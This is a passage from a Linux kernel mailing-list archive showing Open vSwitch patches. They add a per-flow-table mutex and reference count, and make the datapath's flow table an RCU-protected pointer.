 static void tbl_mask_array_del_mask(struct flow_table *tbl,
 				    struct sw_flow_mask *mask)
 {
-	struct mask_array *ma = ovsl_dereference(tbl->mask_array);
+	struct mask_array *ma = ovs_tbl_dereference(tbl->mask_array, tbl);
 	int i, ma_count = READ_ONCE(ma->count);
 
 	/* Remove the deleted mask pointers from the array */
 	for (i = 0; i < ma_count; i++) {
-		if (mask == ovsl_dereference(ma->masks[i]))
+		if (mask == ovs_tbl_dereference(ma->masks[i], tbl))
 			goto found;
 	}
 
@@ -329,10 +339,10 @@ static void tbl_mask_array_del_mask(struct flow_table *tbl,
 static void flow_mask_remove(struct flow_table *tbl, struct sw_flow_mask *mask)
 {
 	if (mask) {
-		/* ovs-lock is required to protect mask-refcount and
+		/* table lock is required to protect mask-refcount and
 		 * mask list.
 		 */
-		ASSERT_OVSL();
+		ASSERT_OVS_TBL(tbl);
 		BUG_ON(!mask->ref_count);
 		mask->ref_count--;
 
@@ -386,7 +396,8 @@ static struct mask_cache *tbl_mask_cache_alloc(u32 size)
 }
 int ovs_flow_tbl_masks_cache_resize(struct flow_table *table, u32 size)
 {
-	struct mask_cache *mc = rcu_dereference_ovsl(table->mask_cache);
+	struct mask_cache *mc = rcu_dereference_ovs_tbl(table->mask_cache,
+							table);
 	struct mask_cache *new;
 
 	if (size == mc->cache_size)
@@ -416,6 +427,10 @@ struct flow_table *ovs_flow_tbl_alloc(void)
 	table = kzalloc_obj(*table, GFP_KERNEL);
 	if (!table)
 		return ERR_PTR(-ENOMEM);
+
+	mutex_init(&table->lock);
+	refcount_set(&table->refcnt, 1);
+
 	mc = tbl_mask_cache_alloc(MC_DEFAULT_HASH_ENTRIES);
 	if (!mc)
 		goto free_table;
@@ -448,6 +463,7 @@ struct flow_table *ovs_flow_tbl_alloc(void)
 free_mask_cache:
 	__mask_cache_destroy(mc);
 free_table:
+	mutex_destroy(&table->lock);
 	kfree(table);
 	return ERR_PTR(-ENOMEM);
 }
@@ -466,7 +482,7 @@ static void table_instance_flow_free(struct flow_table *table,
 				     struct sw_flow *flow)
 {
 	hlist_del_rcu(&flow->flow_table.node[ti->node_ver]);
-	table->count--;
+	WRITE_ONCE(table->count, table->count - 1);
 
 	if (ovs_identifier_is_ufid(&flow->id)) {
 		hlist_del_rcu(&flow->ufid_table.node[ufid_ti->node_ver]);
@@ -476,10 +492,10 @@ static void table_instance_flow_free(struct flow_table *table,
 	flow_mask_remove(table, flow->mask);
 }
 
-/* Must be called with OVS mutex held. */
-void table_instance_flow_flush(struct flow_table *table,
-			       struct table_instance *ti,
-			       struct table_instance *ufid_ti)
+/* Must be called with table mutex held. */
+static void table_instance_flow_flush(struct flow_table *table,
+				      struct table_instance *ti,
+				      struct table_instance *ufid_ti)
 {
 	int i;
 
@@ -499,7 +515,7 @@ void table_instance_flow_flush(struct flow_table *table,
 
 	if (WARN_ON(table->count != 0 ||
 		    table->ufid_count != 0)) {
-		table->count = 0;
+		WRITE_ONCE(table->count, 0);
 		table->ufid_count = 0;
 	}
 }
@@ -512,7 +528,7 @@ static void table_instance_destroy(struct table_instance *ti,
 }
 
 /* No need for locking this function is called from RCU callback. */
-void ovs_flow_tbl_destroy_rcu(struct rcu_head *rcu)
+static void ovs_flow_tbl_destroy_rcu(struct rcu_head *rcu)
 {
 	struct flow_table *table = container_of(rcu, struct flow_table, rcu);
 
@@ -524,9 +540,22 @@ void ovs_flow_tbl_destroy_rcu(struct rcu_head *rcu)
 	call_rcu(&mc->rcu, mask_cache_rcu_cb);
 	call_rcu(&ma->rcu, mask_array_rcu_cb);
 	table_instance_destroy(ti, ufid_ti);
+	mutex_destroy(&table->lock);
 	kfree(table);
 }
 
+void ovs_flow_tbl_put(struct flow_table *table)
+{
+	if (refcount_dec_and_test(&table->refcnt)) {
+		mutex_lock(&table->lock);
+		table_instance_flow_flush(table,
+					  ovs_tbl_dereference(table->ti, table),
+					  ovs_tbl_dereference(table->ufid_ti, table));
+		mutex_unlock(&table->lock);
+		call_rcu(&table->rcu, ovs_flow_tbl_destroy_rcu);
+	}
+}
+
 struct sw_flow *ovs_flow_tbl_dump_next(struct table_instance *ti,
 				       u32 *bucket, u32 *last)
 {
@@ -578,7 +607,8 @@ static void ufid_table_instance_insert(struct table_instance *ti,
 	hlist_add_head_rcu(&flow->ufid_table.node[ti->node_ver], head);
 }
 
-static void flow_table_copy_flows(struct table_instance *old,
+static void flow_table_copy_flows(struct flow_table *table,
+				  struct table_instance *old,
 				  struct table_instance *new, bool ufid)
 {
 	int old_ver;
@@ -595,17 +625,18 @@ static void flow_table_copy_flows(struct table_instance *old,
 		if (ufid)
 			hlist_for_each_entry_rcu(flow, head,
 						 ufid_table.node[old_ver],
-						 lockdep_ovsl_is_held())
+						 lockdep_ovs_tbl_is_held(table))
 				ufid_table_instance_insert(new, flow);
 		else
 			hlist_for_each_entry_rcu(flow, head,
 						 flow_table.node[old_ver],
-						 lockdep_ovsl_is_held())
+						 lockdep_ovs_tbl_is_held(table))
 				table_instance_insert(new, flow);
 	}
 }
 
-static struct table_instance *table_instance_rehash(struct table_instance *ti,
+static struct table_instance *table_instance_rehash(struct flow_table *table,
+						    struct table_instance *ti,
 						    int n_buckets, bool ufid)
 {
 	struct table_instance *new_ti;
@@ -614,16 +645,19 @@ static struct table_instance *table_instance_rehash(struct table_instance *ti,
 	if (!new_ti)
 		return NULL;
 
-	flow_table_copy_flows(ti, new_ti, ufid);
+	flow_table_copy_flows(table, ti, new_ti, ufid);
 
 	return new_ti;
 }
 
+/* Must be called with flow_table->lock held. */
 int ovs_flow_tbl_flush(struct flow_table *flow_table)
 {
 	struct table_instance *old_ti, *new_ti;
 	struct table_instance *old_ufid_ti, *new_ufid_ti;
 
+	ASSERT_OVS_TBL(flow_table);
+
 	new_ti = table_instance_alloc(TBL_MIN_BUCKETS);
 	if (!new_ti)
 		return -ENOMEM;
@@ -631,8 +665,8 @@ int ovs_flow_tbl_flush(struct flow_table *flow_table)
 	if (!new_ufid_ti)
 		goto err_free_ti;
 
-	old_ti = ovsl_dereference(flow_table->ti);
-	old_ufid_ti = ovsl_dereference(flow_table->ufid_ti);
+	old_ti = ovs_tbl_dereference(flow_table->ti, flow_table);
+	old_ufid_ti = ovs_tbl_dereference(flow_table->ufid_ti, flow_table);
 
 	rcu_assign_pointer(flow_table->ti, new_ti);
 	rcu_assign_pointer(flow_table->ufid_ti, new_ufid_ti);
@@ -700,7 +734,8 @@ static bool ovs_flow_cmp_unmasked_key(const struct sw_flow *flow,
 	return cmp_key(flow->id.unmasked_key, key, key_start, key_end);
 }
 
-static struct sw_flow *masked_flow_lookup(struct table_instance *ti,
+static struct sw_flow *masked_flow_lookup(struct flow_table *tbl,
+					  struct table_instance *ti,
 					  const struct sw_flow_key *unmasked,
 					  const struct sw_flow_mask *mask,
 					  u32 *n_mask_hit)
@@ -716,7 +751,7 @@ static struct sw_flow *masked_flow_lookup(struct table_instance *ti,
 	(*n_mask_hit)++;
 
 	hlist_for_each_entry_rcu(flow, head, flow_table.node[ti->node_ver],
-				 lockdep_ovsl_is_held()) {
+				 lockdep_ovs_tbl_is_held(tbl)) {
 		if (flow->mask == mask && flow->flow_table.hash == hash &&
 		    flow_cmp_masked_key(flow, &masked_key, &mask->range))
 			return flow;
@@ -743,9 +778,9 @@ static struct sw_flow *flow_lookup(struct flow_table *tbl,
 	int i;
 
 	if (likely(*index < ma->max)) {
-		mask = rcu_dereference_ovsl(ma->masks[*index]);
+		mask = rcu_dereference_ovs_tbl(ma->masks[*index], tbl);
 		if (mask) {
-			flow = masked_flow_lookup(ti, key, mask, n_mask_hit);
+			flow = masked_flow_lookup(tbl, ti, key, mask, n_mask_hit);
 			if (flow) {
 				u64_stats_update_begin(&stats->syncp);
 				stats->usage_cntrs[*index]++;
@@ -761,11 +796,11 @@ static struct sw_flow *flow_lookup(struct flow_table *tbl,
 		if (i == *index)
 			continue;
 
-		mask = rcu_dereference_ovsl(ma->masks[i]);
+		mask = rcu_dereference_ovs_tbl(ma->masks[i], tbl);
 		if (unlikely(!mask))
 			break;
 
-		flow = masked_flow_lookup(ti, key, mask, n_mask_hit);
+		flow = masked_flow_lookup(tbl, ti, key, mask, n_mask_hit);
 		if (flow) { /* Found */
 			*index = i;
 			u64_stats_update_begin(&stats->syncp);
@@ -852,8 +887,8 @@ struct sw_flow *ovs_flow_tbl_lookup_stats(struct flow_table *tbl,
 struct sw_flow *ovs_flow_tbl_lookup(struct flow_table *tbl,
 				    const struct sw_flow_key *key)
 {
-	struct table_instance *ti = rcu_dereference_ovsl(tbl->ti);
-	struct mask_array *ma = rcu_dereference_ovsl(tbl->mask_array);
+	struct table_instance *ti = rcu_dereference_ovs_tbl(tbl->ti, tbl);
+	struct mask_array *ma = rcu_dereference_ovs_tbl(tbl->mask_array, tbl);
 	u32 __always_unused n_mask_hit;
 	u32 __always_unused n_cache_hit;
 	struct sw_flow *flow;
@@ -872,21 +907,22 @@ struct sw_flow *ovs_flow_tbl_lookup(struct flow_table *tbl,
 struct sw_flow *ovs_flow_tbl_lookup_exact(struct flow_table *tbl,
 					  const struct sw_flow_match *match)
 {
-	struct mask_array *ma = ovsl_dereference(tbl->mask_array);
+	struct mask_array *ma = ovs_tbl_dereference(tbl->mask_array, tbl);
 	int i;
 
-	/* Always called under ovs-mutex. */
+	/* Always called under tbl->lock. */
 	for (i = 0; i < ma->max; i++) {
-		struct table_instance *ti = rcu_dereference_ovsl(tbl->ti);
+		struct table_instance *ti =
+				rcu_dereference_ovs_tbl(tbl->ti, tbl);
 		u32 __always_unused n_mask_hit;
 		struct sw_flow_mask *mask;
 		struct sw_flow *flow;
 
-		mask = ovsl_dereference(ma->masks[i]);
+		mask = ovs_tbl_dereference(ma->masks[i], tbl);
 		if (!mask)
 			continue;
 
-		flow = masked_flow_lookup(ti, match->key, mask, &n_mask_hit);
+		flow = masked_flow_lookup(tbl, ti, match->key, mask, &n_mask_hit);
 		if (flow && ovs_identifier_is_key(&flow->id) &&
 		    ovs_flow_cmp_unmasked_key(flow, match)) {
 			return flow;
@@ -922,7 +958,7 @@ bool ovs_flow_cmp(const struct sw_flow *flow,
 struct sw_flow *ovs_flow_tbl_lookup_ufid(struct flow_table *tbl,
 					 const struct sw_flow_id *ufid)
 {
-	struct table_instance *ti = rcu_dereference_ovsl(tbl->ufid_ti);
+	struct table_instance *ti = rcu_dereference_ovs_tbl(tbl->ufid_ti, tbl);
 	struct sw_flow *flow;
 	struct hlist_head *head;
 	u32 hash;
@@ -930,7 +966,7 @@ struct sw_flow *ovs_flow_tbl_lookup_ufid(struct flow_table *tbl,
 	hash = ufid_hash(ufid);
 	head = find_bucket(ti, hash);
 	hlist_for_each_entry_rcu(flow, head, ufid_table.node[ti->node_ver],
-				 lockdep_ovsl_is_held()) {
+				 lockdep_ovs_tbl_is_held(tbl)) {
 		if (flow->ufid_table.hash == hash &&
 		    ovs_flow_cmp_ufid(flow, ufid))
 			return flow;
@@ -940,28 +976,33 @@ struct sw_flow *ovs_flow_tbl_lookup_ufid(struct flow_table *tbl,
 
 int ovs_flow_tbl_num_masks(const struct flow_table *table)
 {
-	struct mask_array *ma = rcu_dereference_ovsl(table->mask_array);
+	struct mask_array *ma = rcu_dereference_ovs_tbl(table->mask_array,
+							table);
 	return READ_ONCE(ma->count);
 }
 
 u32 ovs_flow_tbl_masks_cache_size(const struct flow_table *table)
 {
-	struct mask_cache *mc = rcu_dereference_ovsl(table->mask_cache);
+	struct mask_cache *mc = rcu_dereference_ovs_tbl(table->mask_cache,
+							table);
 
 	return READ_ONCE(mc->cache_size);
 }
 
-static struct table_instance *table_instance_expand(struct table_instance *ti,
+static struct table_instance *table_instance_expand(struct flow_table *table,
+						    struct table_instance *ti,
 						    bool ufid)
 {
-	return table_instance_rehash(ti, ti->n_buckets * 2, ufid);
+	return table_instance_rehash(table, ti, ti->n_buckets * 2, ufid);
 }
 
-/* Must be called with OVS mutex held. */
+/* Must be called with table mutex held. */
 void ovs_flow_tbl_remove(struct flow_table *table, struct sw_flow *flow)
 {
-	struct table_instance *ti = ovsl_dereference(table->ti);
-	struct table_instance *ufid_ti = ovsl_dereference(table->ufid_ti);
+	struct table_instance *ti = ovs_tbl_dereference(table->ti,
+							table);
+	struct table_instance *ufid_ti = ovs_tbl_dereference(table->ufid_ti,
+							     table);
 
 	BUG_ON(table->count == 0);
 	table_instance_flow_free(table, ti, ufid_ti, flow);
@@ -995,10 +1036,10 @@ static struct sw_flow_mask *flow_mask_find(const struct flow_table *tbl,
 	struct mask_array *ma;
 	int i;
 
-	ma = ovsl_dereference(tbl->mask_array);
+	ma = ovs_tbl_dereference(tbl->mask_array, tbl);
 	for (i = 0; i < ma->max; i++) {
 		struct sw_flow_mask *t;
-		t = ovsl_dereference(ma->masks[i]);
+		t = ovs_tbl_dereference(ma->masks[i], tbl);
 
 		if (t && mask_equal(mask, t))
 			return t;
@@ -1036,22 +1077,25 @@ static int flow_mask_insert(struct flow_table *tbl, struct sw_flow *flow,
 	return 0;
 }
 
-/* Must be called with OVS mutex held. */
+/* Must be called with table mutex held. */
 static void flow_key_insert(struct flow_table *table, struct sw_flow *flow)
 {
 	struct table_instance *new_ti = NULL;
 	struct table_instance *ti;
 
+	ASSERT_OVS_TBL(table);
+
 	flow->flow_table.hash = flow_hash(&flow->key, &flow->mask->range);
-	ti = ovsl_dereference(table->ti);
+	ti = ovs_tbl_dereference(table->ti, table);
 	table_instance_insert(ti, flow);
-	table->count++;
+	WRITE_ONCE(table->count, table->count + 1);
 
 	/* Expand table, if necessary, to make room. */
 	if (table->count > ti->n_buckets)
-		new_ti = table_instance_expand(ti, false);
+		new_ti = table_instance_expand(table, ti, false);
 	else if (time_after(jiffies, table->last_rehash + REHASH_INTERVAL))
-		new_ti = table_instance_rehash(ti, ti->n_buckets, false);
+		new_ti = table_instance_rehash(table, ti, ti->n_buckets,
+					       false);
 
 	if (new_ti) {
 		rcu_assign_pointer(table->ti, new_ti);
@@ -1060,13 +1104,15 @@ static void flow_key_insert(struct flow_table *table, struct sw_flow *flow)
 	}
 }
 
-/* Must be called with OVS mutex held. */
+/* Must be called with table mutex held. */
 static void flow_ufid_insert(struct flow_table *table, struct sw_flow *flow)
 {
 	struct table_instance *ti;
 
+	ASSERT_OVS_TBL(table);
+
 	flow->ufid_table.hash = ufid_hash(&flow->id);
-	ti = ovsl_dereference(table->ufid_ti);
+	ti = ovs_tbl_dereference(table->ufid_ti, table);
 	ufid_table_instance_insert(ti, flow);
 	table->ufid_count++;
 
@@ -1074,7 +1120,7 @@ static void flow_ufid_insert(struct flow_table *table, struct sw_flow *flow)
 	if (table->ufid_count > ti->n_buckets) {
 		struct table_instance *new_ti;
 
-		new_ti = table_instance_expand(ti, true);
+		new_ti = table_instance_expand(table, ti, true);
 		if (new_ti) {
 			rcu_assign_pointer(table->ufid_ti, new_ti);
 			call_rcu(&ti->rcu, flow_tbl_destroy_rcu_cb);
@@ -1082,12 +1128,14 @@ static void flow_ufid_insert(struct flow_table *table, struct sw_flow *flow)
 	}
 }
 
-/* Must be called with OVS mutex held. */
+/* Must be called with table mutex held. */
 int ovs_flow_tbl_insert(struct flow_table *table, struct sw_flow *flow,
 			const struct sw_flow_mask *mask)
 {
 	int err;
 
+	ASSERT_OVS_TBL(table);
+
 	err = flow_mask_insert(table, flow, mask);
 	if (err)
 		return err;
@@ -1106,10 +1154,11 @@ static int compare_mask_and_count(const void *a, const void *b)
 	return (s64)mc_b->counter - (s64)mc_a->counter;
 }
 
-/* Must be called with OVS mutex held. */
+/* Must be called with table->lock held. */
 void ovs_flow_masks_rebalance(struct flow_table *table)
 {
-	struct mask_array *ma = rcu_dereference_ovsl(table->mask_array);
+	struct mask_array *ma = rcu_dereference_ovs_tbl(table->mask_array,
+							table);
 	struct mask_count *masks_and_count;
 	struct mask_array *new;
 	int masks_entries = 0;
@@ -1124,7 +1173,7 @@ void ovs_flow_masks_rebalance(struct flow_table *table)
 		struct sw_flow_mask *mask;
 		int cpu;
 
-		mask = rcu_dereference_ovsl(ma->masks[i]);
+		mask = rcu_dereference_ovs_tbl(ma->masks[i], table);
 		if (unlikely(!mask))
 			break;
 
@@ -1178,7 +1227,7 @@ void ovs_flow_masks_rebalance(struct flow_table *table)
 	for (i = 0; i < masks_entries; i++) {
 		int index = masks_and_count[i].index;
 
-		if (ovsl_dereference(ma->masks[index]))
+		if (ovs_tbl_dereference(ma->masks[index], table))
 			new->masks[new->count++] = ma->masks[index];
 	}
 
diff --git a/net/openvswitch/flow_table.h b/net/openvswitch/flow_table.h
index 6211bcc72655..1b5242a97813 100644
--- a/net/openvswitch/flow_table.h
+++ b/net/openvswitch/flow_table.h
@@ -59,7 +59,31 @@ struct table_instance {
 	u32 hash_seed;
 };
 
+/* Locking:
+ *
+ * flow_table is _not_ protected by ovs_lock (see comment above ovs_mutex
+ * in datapath.c).
+ *
+ * All writes to flow_table are protected by the embedded "lock".
+ * In order to ensure datapath destruction does not trigger the destruction
+ * of the flow_table, "refcnt" is used. Therefore, writers must:
+ * 1 - Enter rcu read-protected section
+ * 2 - Increase "table->refcnt"
+ * 3 - Leave rcu read-protected section (to avoid using mutexes inside rcu)
+ * 4 - Lock "table->lock"
+ * 5 - Perform modifications
+ * 6 - Release "table->lock"
+ * 7 - Decrease "table->refcnt"
+ *
+ * Reads are protected by RCU.
+ *
+ * Note with this schema, it's possible that a flow operation is performed on a
+ * flow_table that is about to be freed.
+ */
 struct flow_table {
+	/* Locks flow table writes. */
+	struct mutex lock;
+	refcount_t refcnt;
 	struct rcu_head rcu;
 	struct table_instance __rcu *ti;
 	struct table_instance __rcu *ufid_ti;
@@ -72,6 +96,26 @@ struct flow_table {
 
 extern struct kmem_cache *flow_stats_cache;
 
+#ifdef CONFIG_LOCKDEP
+int lockdep_ovs_tbl_is_held(const struct flow_table *table);
+#else
+static inline int lockdep_ovs_tbl_is_held(const struct flow_table *table
+					  __always_unused)
+{
+	return 1;
+}
+#endif
+
+#define ASSERT_OVS_TBL(tbl)   WARN_ON(!lockdep_ovs_tbl_is_held(tbl))
+
+/* Lock-protected update-allowed dereferences.*/
+#define ovs_tbl_dereference(p, tbl)	\
+	rcu_dereference_protected(p, lockdep_ovs_tbl_is_held(tbl))
+
+/* Read dereferences can be protected by either RCU, table lock. */
+#define rcu_dereference_ovs_tbl(p, tbl) \
+	rcu_dereference_check(p, lockdep_ovs_tbl_is_held(tbl))
+
 int ovs_flow_init(void);
 void ovs_flow_exit(void);
 
@@ -79,7 +123,11 @@ struct sw_flow *ovs_flow_alloc(void);
 void ovs_flow_free(struct sw_flow *, bool deferred);
 
 struct flow_table *ovs_flow_tbl_alloc(void);
-void ovs_flow_tbl_destroy_rcu(struct rcu_head *table);
+void ovs_flow_tbl_put(struct flow_table *table);
+static inline bool ovs_flow_tbl_get(struct flow_table *table)
+{
+	return refcount_inc_not_zero(&table->refcnt);
+}
 int ovs_flow_tbl_count(const struct flow_table *table);
 int ovs_flow_tbl_flush(struct flow_table *flow_table);
 
@@ -109,8 +157,5 @@ void ovs_flow_mask_key(struct sw_flow_key *dst, const struct sw_flow_key *src,
 		       bool full, const struct sw_flow_mask *mask);
 
 void ovs_flow_masks_rebalance(struct flow_table *table);
-void table_instance_flow_flush(struct flow_table *table,
-			       struct table_instance *ti,
-			       struct table_instance *ufid_ti);
 
 #endif /* flow_table.h */
-- 
2.53.0


^ permalink raw reply related

* [PATCH net-next v3 1/2] net: openvswitch: make flow_table an rcu pointer
From: Adrian Moreno @ 2026-05-05  8:42 UTC (permalink / raw)
  To: netdev
  Cc: aconole, pabeni, Adrian Moreno, Eelco Chaudron, Ilya Maximets,
	David S. Miller, Eric Dumazet, Jakub Kicinski, Simon Horman,
	open list:OPENVSWITCH, open list
In-Reply-To: <20260505084253.998548-1-amorenoz@redhat.com>

This patch turns "flow_table" from being embedded into "datapath" to
being an rcu protected pointer. No functional change intended.

Signed-off-by: Adrian Moreno <amorenoz@redhat.com>
---
 net/openvswitch/datapath.c   | 113 ++++++++++++++++++++++++++---------
 net/openvswitch/datapath.h   |   2 +-
 net/openvswitch/flow_table.c |  23 ++++---
 net/openvswitch/flow_table.h |   5 +-
 4 files changed, 105 insertions(+), 38 deletions(-)

diff --git a/net/openvswitch/datapath.c b/net/openvswitch/datapath.c
index bbbde50fc649..e78c28dd5d9d 100644
--- a/net/openvswitch/datapath.c
+++ b/net/openvswitch/datapath.c
@@ -166,7 +166,6 @@ static void destroy_dp_rcu(struct rcu_head *rcu)
 {
 	struct datapath *dp = container_of(rcu, struct datapath, rcu);
 
-	ovs_flow_tbl_destroy(&dp->table);
 	free_percpu(dp->stats_percpu);
 	kfree(dp->ports);
 	ovs_meters_exit(dp);
@@ -247,6 +246,7 @@ void ovs_dp_process_packet(struct sk_buff *skb, struct sw_flow_key *key)
 	struct ovs_pcpu_storage *ovs_pcpu = this_cpu_ptr(ovs_pcpu_storage);
 	const struct vport *p = OVS_CB(skb)->input_vport;
 	struct datapath *dp = p->dp;
+	struct flow_table *table;
 	struct sw_flow *flow;
 	struct sw_flow_actions *sf_acts;
 	struct dp_stats_percpu *stats;
@@ -257,9 +257,16 @@ void ovs_dp_process_packet(struct sk_buff *skb, struct sw_flow_key *key)
 	int error;
 
 	stats = this_cpu_ptr(dp->stats_percpu);
+	table = rcu_dereference(dp->table);
+	if (!table) {
+		net_dbg_ratelimited("ovs: no flow table on datapath %s\n",
+				    ovs_dp_name(dp));
+		kfree_skb(skb);
+		return;
+	}
 
 	/* Look up flow. */
-	flow = ovs_flow_tbl_lookup_stats(&dp->table, key, skb_get_hash(skb),
+	flow = ovs_flow_tbl_lookup_stats(table, key, skb_get_hash(skb),
 					 &n_mask_hit, &n_cache_hit);
 	if (unlikely(!flow)) {
 		struct dp_upcall_info upcall;
@@ -752,12 +759,16 @@ static struct genl_family dp_packet_genl_family __ro_after_init = {
 static void get_dp_stats(const struct datapath *dp, struct ovs_dp_stats *stats,
 			 struct ovs_dp_megaflow_stats *mega_stats)
 {
+	struct flow_table *table = ovsl_dereference(dp->table);
 	int i;
 
 	memset(mega_stats, 0, sizeof(*mega_stats));
+	memset(stats, 0, sizeof(*stats));
 
-	stats->n_flows = ovs_flow_tbl_count(&dp->table);
-	mega_stats->n_masks = ovs_flow_tbl_num_masks(&dp->table);
+	if (table) {
+		stats->n_flows = ovs_flow_tbl_count(table);
+		mega_stats->n_masks = ovs_flow_tbl_num_masks(table);
+	}
 
 	stats->n_hit = stats->n_missed = stats->n_lost = 0;
 
@@ -998,6 +1009,7 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 	struct nlattr **a = info->attrs;
 	struct ovs_header *ovs_header = genl_info_userhdr(info);
 	struct sw_flow *flow = NULL, *new_flow;
+	struct flow_table *table;
 	struct sw_flow_mask mask;
 	struct sk_buff *reply;
 	struct datapath *dp;
@@ -1070,17 +1082,22 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 		error = -ENODEV;
 		goto err_unlock_ovs;
 	}
+	table = ovsl_dereference(dp->table);
+	if (!table) {
+		error = -ENODEV;
+		goto err_unlock_ovs;
+	}
 
 	/* Check if this is a duplicate flow */
 	if (ovs_identifier_is_ufid(&new_flow->id))
-		flow = ovs_flow_tbl_lookup_ufid(&dp->table, &new_flow->id);
+		flow = ovs_flow_tbl_lookup_ufid(table, &new_flow->id);
 	if (!flow)
-		flow = ovs_flow_tbl_lookup(&dp->table, key);
+		flow = ovs_flow_tbl_lookup(table, key);
 	if (likely(!flow)) {
 		rcu_assign_pointer(new_flow->sf_acts, acts);
 
 		/* Put flow in bucket. */
-		error = ovs_flow_tbl_insert(&dp->table, new_flow, &mask);
+		error = ovs_flow_tbl_insert(table, new_flow, &mask);
 		if (unlikely(error)) {
 			acts = NULL;
 			goto err_unlock_ovs;
@@ -1115,7 +1132,7 @@ static int ovs_flow_cmd_new(struct sk_buff *skb, struct genl_info *info)
 		 */
 		if (unlikely(!ovs_flow_cmp(flow, &match))) {
 			if (ovs_identifier_is_key(&flow->id))
-				flow = ovs_flow_tbl_lookup_exact(&dp->table,
+				flow = ovs_flow_tbl_lookup_exact(table,
 								 &match);
 			else /* UFID matches but key is different */
 				flow = NULL;
@@ -1244,6 +1261,7 @@ static int ovs_flow_cmd_set(struct sk_buff *skb, struct genl_info *info)
 	struct net *net = sock_net(skb->sk);
 	struct nlattr **a = info->attrs;
 	struct ovs_header *ovs_header = genl_info_userhdr(info);
+	struct flow_table *table;
 	struct sw_flow_key key;
 	struct sw_flow *flow;
 	struct sk_buff *reply = NULL;
@@ -1284,11 +1302,16 @@ static int ovs_flow_cmd_set(struct sk_buff *skb, struct genl_info *info)
 		error = -ENODEV;
 		goto err_unlock_ovs;
 	}
+	table = ovsl_dereference(dp->table);
+	if (!table) {
+		error = -ENODEV;
+		goto err_unlock_ovs;
+	}
 	/* Check that the flow exists. */
 	if (ufid_present)
-		flow = ovs_flow_tbl_lookup_ufid(&dp->table, &sfid);
+		flow = ovs_flow_tbl_lookup_ufid(table, &sfid);
 	else
-		flow = ovs_flow_tbl_lookup_exact(&dp->table, &match);
+		flow = ovs_flow_tbl_lookup_exact(table, &match);
 	if (unlikely(!flow)) {
 		error = -ENOENT;
 		goto err_unlock_ovs;
@@ -1346,6 +1369,7 @@ static int ovs_flow_cmd_get(struct sk_buff *skb, struct genl_info *info)
 	struct nlattr **a = info->attrs;
 	struct ovs_header *ovs_header = genl_info_userhdr(info);
 	struct net *net = sock_net(skb->sk);
+	struct flow_table *table;
 	struct sw_flow_key key;
 	struct sk_buff *reply;
 	struct sw_flow *flow;
@@ -1376,11 +1400,16 @@ static int ovs_flow_cmd_get(struct sk_buff *skb, struct genl_info *info)
 		err = -ENODEV;
 		goto unlock;
 	}
+	table = ovsl_dereference(dp->table);
+	if (!table) {
+		err = -ENODEV;
+		goto unlock;
+	}
 
 	if (ufid_present)
-		flow = ovs_flow_tbl_lookup_ufid(&dp->table, &ufid);
+		flow = ovs_flow_tbl_lookup_ufid(table, &ufid);
 	else
-		flow = ovs_flow_tbl_lookup_exact(&dp->table, &match);
+		flow = ovs_flow_tbl_lookup_exact(table, &match);
 	if (!flow) {
 		err = -ENOENT;
 		goto unlock;
@@ -1405,6 +1434,7 @@ static int ovs_flow_cmd_del(struct sk_buff *skb, struct genl_info *info)
 	struct nlattr **a = info->attrs;
 	struct ovs_header *ovs_header = genl_info_userhdr(info);
 	struct net *net = sock_net(skb->sk);
+	struct flow_table *table;
 	struct sw_flow_key key;
 	struct sk_buff *reply;
 	struct sw_flow *flow = NULL;
@@ -1431,22 +1461,27 @@ static int ovs_flow_cmd_del(struct sk_buff *skb, struct genl_info *info)
 		err = -ENODEV;
 		goto unlock;
 	}
+	table = ovsl_dereference(dp->table);
+	if (!table) {
+		err = -ENODEV;
+		goto unlock;
+	}
 
 	if (unlikely(!a[OVS_FLOW_ATTR_KEY] && !ufid_present)) {
-		err = ovs_flow_tbl_flush(&dp->table);
+		err = ovs_flow_tbl_flush(table);
 		goto unlock;
 	}
 
 	if (ufid_present)
-		flow = ovs_flow_tbl_lookup_ufid(&dp->table, &ufid);
+		flow = ovs_flow_tbl_lookup_ufid(table, &ufid);
 	else
-		flow = ovs_flow_tbl_lookup_exact(&dp->table, &match);
+		flow = ovs_flow_tbl_lookup_exact(table, &match);
 	if (unlikely(!flow)) {
 		err = -ENOENT;
 		goto unlock;
 	}
 
-	ovs_flow_tbl_remove(&dp->table, flow);
+	ovs_flow_tbl_remove(table, flow);
 	ovs_unlock();
 
 	reply = ovs_flow_cmd_alloc_info((const struct sw_flow_actions __force *) flow->sf_acts,
@@ -1485,6 +1520,7 @@ static int ovs_flow_cmd_dump(struct sk_buff *skb, struct netlink_callback *cb)
 	struct nlattr *a[__OVS_FLOW_ATTR_MAX];
 	struct ovs_header *ovs_header = genlmsg_data(nlmsg_data(cb->nlh));
 	struct table_instance *ti;
+	struct flow_table *table;
 	struct datapath *dp;
 	u32 ufid_flags;
 	int err;
@@ -1501,8 +1537,13 @@ static int ovs_flow_cmd_dump(struct sk_buff *skb, struct netlink_callback *cb)
 		rcu_read_unlock();
 		return -ENODEV;
 	}
+	table = rcu_dereference_ovsl(dp->table);
+	if (!table) {
+		rcu_read_unlock();
+		return -ENODEV;
+	}
 
-	ti = rcu_dereference(dp->table.ti);
+	ti = rcu_dereference(table->ti);
 	for (;;) {
 		struct sw_flow *flow;
 		u32 bucket, obj;
@@ -1598,8 +1639,13 @@ static int ovs_dp_cmd_fill_info(struct datapath *dp, struct sk_buff *skb,
 	struct ovs_dp_stats dp_stats;
 	struct ovs_dp_megaflow_stats dp_megaflow_stats;
 	struct dp_nlsk_pids *pids = ovsl_dereference(dp->upcall_portids);
+	struct flow_table *table;
 	int err, pids_len;
 
+	table = ovsl_dereference(dp->table);
+	if (!table)
+		return -ENODEV;
+
 	ovs_header = genlmsg_put(skb, portid, seq, &dp_datapath_genl_family,
 				 flags, cmd);
 	if (!ovs_header)
@@ -1625,7 +1671,7 @@ static int ovs_dp_cmd_fill_info(struct datapath *dp, struct sk_buff *skb,
 		goto nla_put_failure;
 
 	if (nla_put_u32(skb, OVS_DP_ATTR_MASKS_CACHE_SIZE,
-			ovs_flow_tbl_masks_cache_size(&dp->table)))
+			ovs_flow_tbl_masks_cache_size(table)))
 		goto nla_put_failure;
 
 	if (dp->user_features & OVS_DP_F_DISPATCH_UPCALL_PER_CPU && pids) {
@@ -1736,6 +1782,7 @@ u32 ovs_dp_get_upcall_portid(const struct datapath *dp, uint32_t cpu_id)
 static int ovs_dp_change(struct datapath *dp, struct nlattr *a[])
 {
 	u32 user_features = 0, old_features = dp->user_features;
